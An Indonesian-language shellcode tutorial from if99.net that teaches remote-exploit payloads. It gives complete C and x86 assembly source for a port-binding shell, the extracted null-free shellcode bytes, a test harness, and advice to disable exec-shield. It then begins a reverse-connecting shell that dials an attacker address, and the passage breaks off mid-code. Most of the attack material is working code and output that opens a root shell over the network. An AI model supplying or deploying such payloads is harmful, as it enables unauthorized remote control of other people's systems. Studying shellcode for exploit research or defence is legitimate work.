if99.net

Dalam artikel sebelumnya saya sudah menjelaskan dasar-dasar pembuatan shellcode. Saya sudah menjelaskan pembuatan shellcode untuk local exploit. Nah kali ini saya akan lanjutkan lagi untuk membuat shellcode yang dipakai untuk exploit secara remote.

Remote Exploit

Remote exploit adalah teknik exploitasi yang dilakukan secara remote melalui jaringan. Exploit jenis ini biasanya menyerang server/daemon yang sedang “LISTEN” di port tertentu.

Perbedaan utama antara local exploit dan remote exploit adalah pada kondisi awalnya. Pada local exploit, sejak awal attacker sudah memiliki shell access baik melalui ssh, telnet atau remote desktop connection, namun dengan hak akses terbatas (sebagai normal user). Sedangkan pada remote exploit, kondisi awal attacker adalah tidak memiliki akses shell. Akses shell yang saya maksud adalah kemampun untuk execute suatu file executable.

Jadi pada local exploit, tujuannya adalah privilege escalation atas hak akses yang terbatas tersebut menjadi tidak terbatas (root/administrator). Sedangkan pada remote exploit, karena pada awalnya tidak punya akses shell, maka remote exploit berusaha mendapatkan akses shell, baik sebagai user biasa maupun sebagai super user (root/administrator).

Remote Shellcode

Dalam artikel ini saya akan menjelaskan tentang pembuatan 2 jenis remote shellcode, yaitu:

• Port Binding Shellcode

Shellcode jenis ini bertujuan untuk memberikan shell yang bisa diakses dari jauh melalui port tertentu. Attacker bisa mengakses shell tersebut dengan membuka koneksi ke IP komputer target pada port yang sudah ditentukan sebelumnya.

Port binding shellcode tidak berguna bila komputer target dilindungi dengan firewall yang memblok inbound koneksi ke port di luar port yang diijinkan.

Firewall yang ditakutkan bukan firewall yang berada di komputer target sebab attacker bisa juga menambahkan rutin untuk mendisable firewall di komputer target. Tetapi firewall yang berada di luar komputer target tidak bisa dimatikan dari komputer target.

• Reverse Connecting Shellcode

Reverse connecting shellcode mirip dengan port binding shellcode namun arah koneksinya terbalik. Dalam shellcode ini justru komputer target yang membuka koneksi ke attacker. Kenapa diperlukan shellcode seperti ini? Dalam banyak kasus orang sangat paranoid terhadap koneksi yang masuk ke komputernya, namun tidak terlalu paranoid untuk koneksi keluar.

Port yang biasanya diijinkan untuk diakses adalah port untuk http, yaitu 80 dan 443 (SSL) karena ini adalah layanan yang paling banyak dipakai sehingga kecil kemungkinan ada admin yang memblok koneksi ke web server luar

Socket Programming

Apa itu socket? Socket merupakan salah satu metode IPC (inter process communication), yaitu komunikasi antar proses (running program) di komputer yang sama maupun di komputer lain (melalui jaringan). Dalam kasus ini kita membicarakan mengenai internet socket, yaitu socket yang digunakan untuk berkomunikasi melalui jaringan baik dengan komputer yang sama (localhost) maupun dengan komputer lain.

Ada dua jenis internet socket, yaitu datagram socket dan stream socket. Datagram socket digunakan untuk berkomunikasi menggunakan protokol UDP. Protokol UDP tidak cocok dipakai untuk kasus ini karena protokol ini tidak reliable. Stream socket adalah socket yang memakai protokol TCP, protokol inilah yang akan dipakai dalam shellcode ini.

Sebelum bisa memakai fungsi-fungsi socket, program harus meng-include header file berikut:

#include <sys/socket.h>     // library untuk socket
#include <netinet/in.h>      // definisi struct untuk socket

Network Byte Order vs Host Byte Order

Dalam komputer, ada aturan bagaimana data secara internal disimpan. Ada dua kubu aturan penyimpanan yang dipakai: little endian dan big endian. Ada beberapa arsitektur komputer yang memakai little endian seperti Intel, dan ada juga yang memakai big endian seperti Motorola dan PowerPC.

Dalam socket programming kita akan berkomunikasi dengan komputer lain yang tidak selalu sejenis arsitekturnya dengan yang kita pakai. Mungkin di komputer kita memakai little endian, berkomunikasi dengan komputer yang memakai big endian. Karena ada variasi ini, maka protokol IP mendefinisikan istilah network byte order dan host byte order.

Network byte order adalah byte order dari protokol network yaitu memakai big endian byte ordering.

Host byte order adalah byte order yang dipakai client/server, bisa little atau big endian tergantung arsitektur komputernya.

Host byte order mungkin sama atau berbeda dengan host byte order.

Pada notasi little endian, byte rendah ditulis duluan, baru kemudian byte tinggi. Sedangkan pada notasi big endian, byte tinggi ditulis duluan, baru kemudian byte tinggi. Perhatikan gambar di bawah ini untuk melihat perbedaan little dan big endian.

Pada gambar di atas IP address 192.168.0.14 dalam hexa adalah C0.A8.00.0E disimpan dalam notasi little endian dan big endian. Byte paling rendah, yaitu 0x0E disimpan di alamat memori paling rendah pada sistem little endian. Sedangkan pada big endian, byte paling tinggi 0xC0 disimpan di alamat memori paling rendah.

Dalam kasus arsitektur Intel IA32, terdapat perbedaan endianness antara host byte order yang memakai little endian, dengan network byte order protokol network yang memakai big endian. Perbedaan ini membuat data yang diterima dari protokol harus dikonversi dulu ke notasi little endian, bila tidak akan terjadi mis-interpretasi data. Contohnya data yang diterima dari network 0xABCD, bila tidak dikonversi maka data tersebut dikira sebagai 0xCDAB pada komputer yang memakai little endian.

Karena protokol network memakai big endian, maka data yang ditulis dalam paket yang dikirim ke jaringan harus dalam notasi big endian. Contohnya dalam protokol IP, field source address harus ditulis dalam notasi big endian. Perhatikan contoh sniffing network packet berikut:

Perhatikan pada gambar di atas, field destination IP adalah 192.168.0.14 yang bila ditulis dalam bentuk dotted hexadecimal adalah C0.A8.00.0E. Dalam network packet, IP tersebut ditulis dalam bentuk C0.A8.00.0E, yaitu notasi big endian untuk C0.A8.00.0E. Bila menggunakan notasi little endian, nilai tersebut akan disimpan sebagai 0E.00.A8.C0.

Pada gambar di atas juga terlihat bahwa field destination port dan source port juga ditulis dalam notasi big endian. Jadi jelas secara internal kita sudah melihat raw packet data yang diambil dari network, semua nilai ditulis dalam notasi big endian. Sekarang tinggal komputer yang terlibat dalam komunikasi harus menyesuaikan diri dengan notasi tersebut. Bila arsitekturnya juga memakai big endian, maka tidak ada yang perlu dikonversi.

Karena host byte order di komputer yang saya pakai (IA32) memakai little endian, sedangkan network byte order memakai big endian, maka diperlukan konversi dari little endian ke big endian. Ada banyak fungsi untuk melakukan konversi ini, antara lain:

• htons() dan htonl()

Mengubah host byte order ke network byte order. Fungsi ini dipakai untuk mengirimkan paket, sebelum data ditulis dalam paket dan dikirim ke jaringan harus dikonversi dulu dalam bentuk network byte order.

Bagaimana menuliskan port 80 dalam network byte order? Pertama 80 dalam hexa adalah 0×0050. Karena host (IA32) memakai little-endian, dan network memakai big endian, maka 0×0050 ini perlu dibalik dulu menjadi 0×5000. Kenapa harus dibalik? Ingat dalam IA32, nilai 0×5000 di memori komputer host akan tersimpan sebagai 0×00 0×50 dan dituliskan dalam paket jaringan dalam urutan yang sama 0×00 0×50. Bila 0×0050 tidak dibalik, maka di memori komputer host (IA32) akan tersimpan sebagai 0×50 0×00, sehingga dalam paket jaringan tertulis port 0×50 0×00 yang berarti port 20.480 bila diartikan memakai big endian, bukan port 80.

• ntohs() dan ntohl()

Mengubah network byte order ke host byte order. Fungsi ini dipakai ketika menerima paket dari jaringan. Dalam paket tersebut data ditulis dalam notasi big endian, sehingga perlu dikonversi ke host byte order yang sesuai (dalam kasus IA32 adalah little endian).

Dalam contoh sebelumnya, port 80 dalam paket jaringan tertulis dalam urutan 0×00 0×50. Nilai ini ketika diterima oleh komputer host juga tersimpan di memori dalam urutan yang sama. Urutan dua byte 0×00 0×50 dalam host yang memakai little endian diartikan sebagai 0×5000 yaitu 20.480. Oleh karena itu perlu dikonversi dulu menjadi notasi little endian, menjadi 0×50 0×00. Dua byte 0×50 0×00 dalam sistem little endian diartikan sebagai nilai 0×0050 yaitu port 80.

Gambar di atas mengilustrasikan pemakaian fungsi untuk konversi endianness antara host dan network. Dalam membua shellcode nanti kita tidak akan memakai fungsi itu, kita akan langsung menuliskan dalam bentuk network byte order.

Socket Address Structure

Dalam pemrograman socket, sebuah proses akan memakai IP address dan port tertentu yang disimpan dalam struktur data bernama socket address yang strukturnya seperti di bawah ini:

typedef uint32_t in_addr_t;
struct in_addr
  {
    in_addr_t s_addr;
  };
 
struct sockaddr_in
  {
    sa_family_t sin_family;
    in_port_t sin_port;
    struct in_addr sin_addr;
    unsigned char sin_zero[8];
  };

sin_family adalah jenis alamat yang dipakai dalam socket, dalam kasus ini kita isi dengan 2 atau AFINET, yaitu IP (internet protocol) address. sin_addr adalah IP address yang bertipe struct in_addr yang hanya memiliki satu field yaitu s_addr bertipe integer. Dalam kasus port binding shellcode, sin_addr.s_addr diisi dengan 0 atau INADDR_ANY yang berarti kita menggunakan semua IP di localhost (tidak hanya 127.0.0.1 tapi semua IP address di komputer tersebut). sin_port adalah port yang akan dipakai untuk LISTEN, silakan mengisi dengan port apa saja yang tidak dipakai.

Ingat menuliskan IP address dan port harus dalam bentuk network byte order

Client Server Socket Programming

Socket programming melibatkan dua pihak, yaitu client dan server. Hubungan antara client dan server serta fungsi yang dipakai dapat dilihat pada gambar di atas.

Pada sisi server, fungsi yang dipakai adalah:

1. socket()

Ini adalah fungsi untuk membentuk socket baik di sisi server maupun client. Pertama kali yang harus dilakukan dalam socket programming adalah membuat socket dengan fungsi ini.

2. bind()

Ini adalah fungsi untuk memakai IP address dan port tertentu dalam socket yang sudah dibuat dengan fungsi socket() sebelumnya.

3. listen()

Ini adalah fungsi untuk LISTEN atau menunggu permintaan koneksi dari client.

4. accept()

Ini adalah fungsi untuk menerima koneksi dari client.

5. read()

Ini adalah fungsi untuk menerima data yang dikirim client.

6. write()

Ini adalah fungsi untuk mengirim data ke client.

Sedangkan pada sisi client lebih sederhana, fungsi yang dipakai adalah:

1. socket()

Sama seperti pada server, fungsi ini adalah fungsi yang pertama dipanggil dalam socket programming.

2. connect()

Fungsi ini untuk membuka koneksi ke server.

3. read()

Fungsi ini untuk menerima data dari server.

4. write()

Fungsi ini untuk mengirim data ke server.

Socket adalah File

Di UNIX semua hal adalah file, termasuk juga socket. Setiap file setelah dibuka, dapat dioperasikan dengan memakai file handler. Ketika program memanggil fungsi socket(), maka dia akan menerima socket file handler, dan dengan handler tersebut operasi dengan socket bisa dilakukan untuk berkomunikasi melalui jaringan.

Kenapa saya perlu menjelaskan tentang ini? Sebab dalam port binding shellcode kita perlu mengarahkan file handler stdin, stdout dan stderr ke file handler socket. STDIN adalah file handler dengan nilai 0, STDOUT adalah file handler dengan nilai 1 dan STDERR adalah file handler dengan nilai 2.

Biasanya stdin adalah keyboard, sehingga dengan membaca stdin program akan menerima masukan dari user. Namun dalam shellcode ini program tidak menerima input secara langsung dari keyboard, tetapi input berasal dari client socket. Agar input dari client socket bisa diterima oleh shell yang akan kita execute, maka kita perlu melakukan cloning dari client socket ke stdin. Dengan cloning ini, kini stdin adalah client socket dan program menerima input dari client socket.

Stdout adalah tempat untuk menampilkan output yang biasanya adalah layar console. Namun dalam kasus ini, output harus bisa dibaca oleh attacker yang berada di komputer lain melalui jaringan. Oleh karena itu stdout juga harus dicloning ke client socket sehinga shell bisa mengirimkan output melalui jaringan. Sedangkan stderr biasanya adalah layar console, sama dengan stdout.

Cloning file handler dilakukan dengan memanggil fungsi dup2([socket handler],[stdin/stdout/stderr]). Fungsi ini membuat socket handler dan stdin/stdout/stderr adalah sama.

Membuat Port Binding Shellcode

Port binding shellcode artinya shellcode bertindak sebagai server yang menunggu koneksi dari client yaitu attacker. Sebelum kita membuat shellcode dalam bahasa assembly saya akan membuat program port binding dalam bahasa C agar lebih mudah dimengerti. Source code port binding shellcode dalam bahasa C terlihat seperti di bawah ini:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

#include <sys/socket.h>
#include <netinet/in.h>
 
int main() {
        char *shell[2];
        int server; // server socket file handler
        int client; // client socket file handler
        struct sockaddr_in serv_addr; // definisi ipaddress dan port
 
        server=socket(2,1,0); // membuat socket STREAM
        serv_addr.sin_addr.s_addr=0; // ip address ALL LOCAL address
        serv_addr.sin_port=0x5C09; // port 2396 dalam network byte order
        serv_addr.sin_family=2; // Jenis address IP
        bind(server,(struct sockaddr*)&serv_addr,16); // bind socket ke port dan ipaddress
        listen(server,0); // menunggu koneksi dari client
        client=accept(server,0,0); // koneksi dari client sudah terjalin
 
        dup2(client,0); // duplicate stdin ke client socket
        dup2(client,1); // duplicate stdout ke client socket
        dup2(client,2); // duplicate stderr ke cilent socket
 
        shell[0] = "/bin/sh";
        shell[1] = 0;
        execve(shell[0],shell,0); // execute shell dengan stdin,stdout dan stderr ke socket
}

Seperti pada gambar yang telah saya jelaskan di atas, socket programming di server dimulai dari fungsi socket() untuk membuat server socket dan mendapatkan file handlernya. Setelah itu ip address dan port harus didefinisikan dalam struct sockaddr_in. Socket address ini akan dipakai dalam fungsi bind() untuk mengikat port dan ip address tersebut dengan socket yang sudah dibuat sebelumnya. Setelah ip dan port sudah terikat dengan socket, kita bisa mulai menunggu koneksi dari client dengan fungsi listen(). Program akan blocking di fungsi listen() ini. Program akan resume, mulai berjalan lagi ketika client membuka koneksi dan hubungan telah terjalin. Setelah hubungan telah terjalin, kita akan memanggil fungsi accept() untuk mendapatkan file handler socket untuk client.

Ada dua socket yang dipakai: server socket dan client socket

Port yang akan kita pakai untuk LISTEN adalah port 2396, yang dalam hexadesimal adalah 0x095C. Ingat penulisan port harus dalam bentuk network byte order (big endian), sehingga penulisannya harus dibalik menjadi 0x5C09.

Saya menggunakan IP address bernilai 0 yang artinya all local address. Local address disini tidak hanya 127.0.0.1 tetapi juga semua ip address yang terdefinisi di interface yang ada pada host tersebut. Bila dalam host tersebut ada 3 ethernet card dengan ip yang berbeda, maka dia akan listen di semua ip tersebut.

Dalam program di atas sebelum kita mengeksekusi /bin/sh, kita perlu mengarahkan stdin,stdout dan stderr ke client socket. Hal ini dimaksudkan karena program yang dieksekusi dengan execve akan mewarisi stdin, stdout dan stderr dari yang mengeksekusinya. Jadi bila tidak dicloning dulu, maka stdin,stdout,stderr akan memakai keyboard dan layar console sehingga tidak bisa dipakai untuk mengirim command dan menerima outputnya dari jarak jauh.

Test

Sekarang mari kita uji program port binding di atas. Saya memakai dua console di komputer yang sama untuk mengujinya. Pada console pertama saya akan melakukan kompilasi dan menjalankan program tersebut sebagai root.

$ gcc portbind.c -o portbind
$ sudo ./portbind

Setelah portbind dijalankan sebagai root dengan sudo, kini di console lain saya membuka koneksi ke port 2396 dengan mamakai program netcat.

$ nc localhost 2396
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
whoami
root
exit

Port Binding dalam Assembly

Oke dalam pengujian di atas kita berhasil membuat program yang listen ke port tertentu dan mengeksekusi shell bila ada koneksi masuk. Sekarang kita harus membuat program sejenis namun dalam bahasa assembly. Sama seperti pembuatan local shellcode, kita menggunakan interrupt 80 hexa untuk memanggil system call. System call yang akan kita panggil adalah socket, bind, listen, accept, dup2 dan execve.

Keluarga system call socket, bind, listen dan accept adalah satu system call dengan nomor 102. Sebelum memanggil interrupt 80h kita perlu mendefinisikan dulu apa yang akan kita panggil, apakah socket, bind, listen atau accept. Pilihan tersebut harus dimasukkan dalam register EBX:

• EBX = 1 untuk socket()
• EBX = 2 untuk bind()
• EBX = 3 untuk connect()
• EBX = 4 untuk listen()
• EBX = 5 untuk accept()

Parameter untuk fungsi socket, bind, connect, listen dan accept disimpan sebagai array yang addressnya disimpan dalam register ECX. Seperti biasa register EAX harus diisi dengan nomor system call yaitu 102.

struct sockaddr_in dalam Assembly

Bagian yang rumit dalam shellcode ini adalah ketika membentuk struct sockaddr_in. Struct ini sebenarnya berukuran 16 byte, tetapi 8 byte terakhir adalah sin_zero yang tidak terpakai, jadi kita hanya fokus mengisi 8 byte pertama.

Susunan byte pada struct sockaddr_in adalah:

• Byte ke-1 dan ke-2: sin_family yang akan diisi dengan 0×0002 (AF_INET).
• Byte ke-3 dan ke-4: sin_port yang akan diisi dengan 0x5C09 (port 2396).
• Byte ke-5 s/d ke-8: sin_addr.s_addr yang akan diisi dengan 0×00000000 (semua IP di interface host).

Alamat dari struct sockaddr_in ini harus disimpan dalam ECX. Kita akan memanfaatkan stack untuk membentuk struct ini. Karena stack adalah struktur data LIFO, maka kita harus push dulu 4 byte terakhir (0×00000000), kemudian diikuti dengan push 2 byte untuk sin_port dan terakhir baru push untuk sin_family. Setelah semua di-push, maka ESP menunjuk pada address struct ini sehingga harus kita salin ke ECX.

Snipped assembly di bawah ini adalah instruksi untuk membuat struct sockaddr_in. Di akhir source, ESP menunjuk pada address struct sockaddr_in.

1
2
3
4
5

xor edx,edx ; edx = 0 
push edx ; push sin_addr.s_addr 0x0
push word 0x5C09 ; push sin_port
add edx,2
push dx ; push sin_family 0x0002

Setelah snippet di atas dijalankan, struct sockaddr_in akan terlihat seperti di bawah ini:

0x02    0x00    0x09    0x5C    0x00    0x00    0x00    0x00

0×02 0×00 adalah sin_family, hasil dari instruksi “push dx” pada saat regsiter DX bernilai 2. Byte berikutnya 0×09 0x5C adalah sin_port, hasil dari instruksi “push word 0x5C09″. Lalu 4 byte sisanya adalah sin_addr.s_addr hasil dari instruksi “push edx” pada saat EDX bernilai 0.

Source Code Assembly Port Binding Shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81

BITS 32
section .text
global _start
 
_start:
xor eax,eax
xor ebx,ebx
xor edx,edx
 
;server=socket(2,1,0)
push eax ; push 0
push byte 0x1 ; push 1
push byte 0x2 ; push 2
mov ecx,esp ; ECX points to [2][1][0]
inc bl ; EBX=1 means socket()
mov al,102
int 0x80
 
; esi = server socket handler
mov esi,eax
 
;bind(server,(struct sockaddr*)&serv_addr,16)
push edx
push word 0x5C09
add edx,2
push dx
mov ecx,esp ; ECX = &serv_addr
push byte 16 ; push 16 (sizeof struct sockaddr)
push ecx  ; push &serv_addr
push esi   ; push server socket handler
mov ecx,esp ; ECX points to [server][&serv_addr][16]
inc bl ; EBX=2 means bind()
mov al,102
int 0x80
 
;listen(server,0)
xor edx,edx
push edx ; push 0
push esi ; push server socket handler
mov ecx,esp ; ECX points to [server][0]
mov bl,0x4 ; EBX=4 means listen()
mov al,102
int 0x80
 
;client=accept(server,0,0)
push edx ; push 0
push edx ; push 0
push esi ; push server socket handler
mov ecx,esp ; ECX points to [server][0][0]
inc bl ; EBX=5 means accept()
mov al,102
int 0x80
 
; ebx = client socket handler
mov ebx,eax
 
;dup2(client,0)
xor ecx,ecx
mov al,63
int 0x80
 
;dup2(client,1)
inc ecx
mov al,63
int 0x80
 
;dup2(client,2)
inc ecx
mov al,63
int 0x80
 
;execve "/bin//sh"
push edx ; push NULL (0x0)
push long 0x68732f2f ; push //sh
push long 0x6e69622f ; push /bin
mov ebx,esp ; EBX = address of "/bin//sh"
push edx ; push NULL (0x0)
push ebx ; push address of "/bin//sh"
mov ecx,esp ; ECX address of [address of "/bin//sh",NULL]
mov al,0x0b ; exec system call
int 0x80

Bila anda sudah membaca artikel sebelumnya belajar membuat shellcode part 1 anda tentu sudah mengerti tentang system call untuk mengeksekusi shell (execve), jadi tidak perlu saya jelaskan lagi di sini.

System call dup2 sangat sederhana, register yang harus diisi adalah EBX diisi dengan client socket handler, ECX diisi file handler untuk stdin,stdout dan stderr, dan terakhir adalah EAX yang harus diisi dengan nomor system call, 63.

Pada system call keluarga socket programming, socket(), bind(), listen(), accept() semua argumen disimpan dalam bentuk blok memori secara berurutan dengan alamatnya disimpan pada register ECX. Sebagai contoh, untuk socket(2,1,0), register ECX harus berisi alamat blok memori yang berisi byte berikut: 0×02 0×01 0×00.

Mengambil Opcode untuk Shellcode

Langkah berikutnya adalah kita harus compile dan link source assembly tersebut. Setelah itu baru kita disassemble dengan objdump agar bisa diekstrak opcodenya.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65

$ nasm -f elf portbind.asm
$ ld -o portbind_asm portbind.o
$ objdump -d ./portbind_asm
 
./portbind_asm:     file format elf32-i386
 
Disassembly of section .text:
 
08048060 <_start>:
 8048060:       31 c0                   xor    %eax,%eax
 8048062:       31 db                   xor    %ebx,%ebx
 8048064:       31 d2                   xor    %edx,%edx
 8048066:       50                      push   %eax
 8048067:       6a 01                   push   $0x1
 8048069:       6a 02                   push   $0x2
 804806b:       89 e1                   mov    %esp,%ecx
 804806d:       fe c3                   inc    %bl
 804806f:       b0 66                   mov    $0x66,%al
 8048071:       cd 80                   int    $0x80
 8048073:       89 c6                   mov    %eax,%esi
 8048075:       52                      push   %edx
 8048076:       66 68 09 5c             pushw  $0x5c09
 804807a:       81 c2 02 00 00 00       add    $0x2,%edx
 8048080:       66 52                   push   %dx
 8048082:       89 e1                   mov    %esp,%ecx
 8048084:       6a 10                   push   $0x10
 8048086:       51                      push   %ecx
 8048087:       56                      push   %esi
 8048088:       89 e1                   mov    %esp,%ecx
 804808a:       fe c3                   inc    %bl
 804808c:       b0 66                   mov    $0x66,%al
 804808e:       cd 80                   int    $0x80
 8048090:       31 d2                   xor    %edx,%edx
 8048092:       52                      push   %edx
 8048093:       56                      push   %esi
 8048094:       89 e1                   mov    %esp,%ecx
 8048096:       b3 04                   mov    $0x4,%bl
 8048098:       b0 66                   mov    $0x66,%al
 804809a:       cd 80                   int    $0x80
 804809c:       52                      push   %edx
 804809d:       52                      push   %edx
 804809e:       56                      push   %esi
 804809f:       89 e1                   mov    %esp,%ecx
 80480a1:       fe c3                   inc    %bl
 80480a3:       b0 66                   mov    $0x66,%al
 80480a5:       cd 80                   int    $0x80
 80480a7:       89 c3                   mov    %eax,%ebx
 80480a9:       31 c9                   xor    %ecx,%ecx
 80480ab:       b0 3f                   mov    $0x3f,%al
 80480ad:       cd 80                   int    $0x80
 80480af:       41                      inc    %ecx
 80480b0:       b0 3f                   mov    $0x3f,%al
 80480b2:       cd 80                   int    $0x80
 80480b4:       41                      inc    %ecx
 80480b5:       b0 3f                   mov    $0x3f,%al
 80480b7:       cd 80                   int    $0x80
 80480b9:       52                      push   %edx
 80480ba:       68 2f 2f 73 68          push   $0x68732f2f
 80480bf:       68 2f 62 69 6e          push   $0x6e69622f
 80480c4:       89 e3                   mov    %esp,%ebx
 80480c6:       52                      push   %edx
 80480c7:       53                      push   %ebx
 80480c8:       89 e1                   mov    %esp,%ecx
 80480ca:       b0 0b                   mov    $0xb,%al
 80480cc:       cd 80                   int    $0x80

Byte Terlarang di Shellcode

Dari hasil objdump di atas terlihat ada byte yang terlarang, yaitu 0×00 yang merupakan bagian dari opcode instruksi: “add edx,2″. Kenapa byte 0×0 tidak boleh ada? Sebab ketika kita menginjeksi string, maka byte 0×0 akan dianggap sebagai akhir sebuah string, akibatnya shellcode kita tidak akan terinjeksi dengan lengkap dan terpotong pada byte 0×0 tersebut.

Agar byte 0×0 tidak ada, maka kita harus mengganti “add edx,2″ dengan instruksi lain yang ekivalen, artinya instruksi pengganti tersebut harus berakibat pada bertambahnya nilai edx dengan 2. Saya akan mengganti instruksi “add edx,2″ dengan instruksi “inc edx” sebanyak 2 kali. Mari kita lihat perbedaan antara opcode “add edx,2″ dengan “inc edx”.

 804807a:       81 c2 02 00 00 00       add    edx, 2

 804807a:       42                      inc    edx
 804807b:       42                      inc    edx

Perhatikan kedua opcode di atas. Ada dua keuntungan yang kita dapatkan dengan mengganti instruksi add. Pertama adalah tidak ada lagi byte 0×0. Kedua adalah ukurannya lebih hemat, instruksi “inc edx” hanya berukuran 1 byte, jadi total berukuran 2 byte. Sedangkan instruksi “add edx, 2″ berukuran 6 byte, kita hemat 4 byte untuk mendapat efek yang sama.

Oke setelah kita menyingkirkan byte terlarang, kita harus mengekstrak opcodenya untuk menjadi shellcode. Kita akan pakai lagi cara yang saya pakai di artikel part 1 untuk dengan cepat meng-ekstrak opcode dari output objdump.

$ objdump -d portbind_asm|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x66\x68\x09\x5c\x42\x42\x66\x52\x89\xe1\x6a\x10\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x31\xd2\x52\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"

Setelah kita dapatkan shellcode, mari kita coba lagi pakai perl dan ndisasm, kalau hasil disassemblernya sama dengan source assembly awal, berarti shellcode tersebut sudah benar.

$ perl -e 'print "\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x66\x68\x09\x5c\x42\x42\x66\x52\x89\xe1\x6a\x10\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x31\xd2\x52\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'|ndisasm -u -
00000000  31C0              xor eax,eax
00000002  31DB              xor ebx,ebx
00000004  31D2              xor edx,edx
00000006  50                push eax
00000007  6A01              push byte +0x1
00000009  6A02              push byte +0x2
0000000B  89E1              mov ecx,esp
0000000D  FEC3              inc bl
0000000F  B066              mov al,0x66
00000011  CD80              int 0x80
00000013  89C6              mov esi,eax
00000015  52                push edx
00000016  6668095C          push word 0x5c09
0000001A  42                inc edx
0000001B  42                inc edx
0000001C  6652              push dx
0000001E  89E1              mov ecx,esp
00000020  6A10              push byte +0x10
00000022  51                push ecx
00000023  56                push esi
00000024  89E1              mov ecx,esp
00000026  FEC3              inc bl
00000028  B066              mov al,0x66
0000002A  CD80              int 0x80
0000002C  31D2              xor edx,edx
0000002E  52                push edx
0000002F  56                push esi
00000030  89E1              mov ecx,esp
00000032  B304              mov bl,0x4
00000034  B066              mov al,0x66
00000036  CD80              int 0x80
00000038  52                push edx
00000039  52                push edx
0000003A  56                push esi
0000003B  89E1              mov ecx,esp
0000003D  FEC3              inc bl
0000003F  B066              mov al,0x66
00000041  CD80              int 0x80
00000043  89C3              mov ebx,eax
00000045  31C9              xor ecx,ecx
00000047  B03F              mov al,0x3f
00000049  CD80              int 0x80
0000004B  41                inc ecx
0000004C  B03F              mov al,0x3f
0000004E  CD80              int 0x80
00000050  41                inc ecx
00000051  B03F              mov al,0x3f
00000053  CD80              int 0x80
00000055  52                push edx
00000056  682F2F7368        push dword 0x68732f2f
0000005B  682F62696E        push dword 0x6e69622f
00000060  89E3              mov ebx,esp
00000062  52                push edx
00000063  53                push ebx
00000064  89E1              mov ecx,esp
00000066  B00B              mov al,0xb
00000068  CD80              int 0x80

Oke selamat, shellcodenya sudah benar. Setelah itu biar lebih afdol, kita harus menguji dengan program C berikut.

Jangan lupa untuk mematikan exec shield dengan cara “echo 0 > /proc/sys/kernel/exec-shield” sebelum program C di bawah ini bisa dieksekusi. Bila tidak anda akan mendapatkan segmentation fault error.

1
2
3
4

char shellcode[] = "\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x66\x68\x09\x5c\x42\x42\x66\x52\x89\xe1\x6a\x10\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x31\xd2\x52\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(void) {
        asm("jmp shellcode");
}

$ gcc portbindshellcode.c -o portbindshellcode
$ sudo ./portbindshellcode

Setelah dijalankan sebagai root, di console lain saya coba koneksi dengan netcat ke port 2396.

$ nc localhost 2396
whoami
root
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
exit

Berhasil! Selamat, port binding shellcode kini sudah siap dipakai untuk remote exploit.

Membuat Reverse Connecting Shellcode

Baiklah kini kita menginjak pada pembuatan shellode bertipe reverse connecting. Dalam shellcode jenis ini, shellcode bertindak sebagai client dan attacker menyiapkan sebuah server yang siap dihubungi di IP dan port tertentu. Sebagai simulasi kita asumsikan IP dan port attacker adalah 192.168.0.14:27155 dan IP komputer target adalah 192.168.0.10.

Karena socket programming di sisi client lebih sederhana dan mirip dengan port binding, saya langsung saja membuat shellcode ini dalam bahasa C.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

#include <sys/socket.h>
#include <netinet/in.h>
 
int main(void) {
        char *shell[2];
        int soc;
        int remote;
        struct sockaddr_in serv_addr;
 
        serv_addr.sin_family=2; // internet address
        serv_addr.sin_addr.s_addr = 0x0E00A8C0; // 192.168.0.14
        serv_addr.sin_port=0x136A; // port 27155
        soc = socket(2,1,0);
